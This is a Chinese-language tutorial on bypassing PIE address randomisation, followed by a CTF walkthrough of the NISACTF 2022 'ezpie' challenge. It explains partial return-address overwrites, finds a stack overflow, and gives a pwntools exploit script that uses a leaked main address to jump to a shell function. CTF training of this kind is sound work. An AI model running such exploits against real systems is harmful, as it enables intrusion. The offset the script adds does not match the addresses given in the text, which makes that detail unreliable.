定义
PIE技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一种防护技术。
原理
根据上面的描述,其针对的是固定地址,这也就是说明了开启了PIE技术的文件用ida打开后的地址是随机的(这个随机并非完全任意的,而是有特殊规律)
先来看一下前文所说的那三种数据的查看,用shift+f7去得到各个数据的位置
在正常(未开启pie保护)的文件里,地址是确定的,不改变的,但是在开启了pie保护的文件中地址就是不确定的了。但是其地址的后三位是确定的,但是这个指的并不再是真实地址了,而是指该地址与程序加载地址的偏移量,这就导致我们无法直接从ida中获取需要的地址,也就是不能直接修改返回地址为后门函数的地址。
绕过方法
补充一点知识:程序的加载地址一般是以内存页为单位的,所以程序的基地址的最后三个数字一定为0。那么再由前文的“最后三个数是该地址与程序加载地址的偏移量”就可以知道这些数据的最后三个数就是实际地址的最后三个数。那么我们就可以知道怎么绕过pie了,我们只需要将数据的最后四个数(两个字节)修改一下就可以了。
最后三个数是确定的,那么我们就只需要去改变倒数第四个数就ok了。那么通过写脚本,将返回地址最多改变16次就可以得到了
实操
nss-[NISACTF 2022]ezpie
我们得到附件去虚拟机checksec,可以看到是PIE开启了的,所以我们就需要进行PIE绕过
file查看到了文件是32位,就ida32打开有input,找一下后门函数的地址
这就正如前文仅有三个数。
反编译main函数看一下vuln函数吧,可以看到调用了read函数
这里缓冲区只有0x28,但是我们却可以读入0x50,所以存在栈溢出。
到这里,我们所需要的东西基本上就是完备了,那就开始写exp吧
写后运行得到注意那个gift,这里的尾数是770,看形式是一个地址,去看了看main函数,就是它!,所以这里就将原本的数据地址告诉了我们.所以我们计算我们ida中希望的返回地址与main函数(770)的地址相差多少,那么就将main函数的真实地址加上那么多差值就可以得到真实的shell的地址
from pwn import*
r=remote('node7.anna.nssctf.cn',21278)
ida_main_add=0x770
ida_shell_add=0x080F
text=r.recvuntil(b'70')[-10:]
real_main_add=int(text,16)
print(real_main_add)
real_shell_add=0xA8+real_main_add
payload=b'a'*(0x28+0x4)+p32(real_shell_add)
r.sendline(payload)
r.interactive()